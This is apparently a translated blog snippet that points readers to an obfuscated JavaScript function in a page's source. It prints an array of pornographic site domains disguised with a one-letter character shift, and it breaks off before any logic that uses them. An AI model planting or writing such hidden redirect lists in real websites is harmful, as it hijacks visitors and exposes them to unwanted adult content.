Open its "page source file" and you can find an encrypted JS script:

Copy the code The code is as follows:

function ypol(){
//K is an object, actually an array. I have saved a bunch of encrypted pr*n website links.
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5: "yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:" c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n", 17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn" };
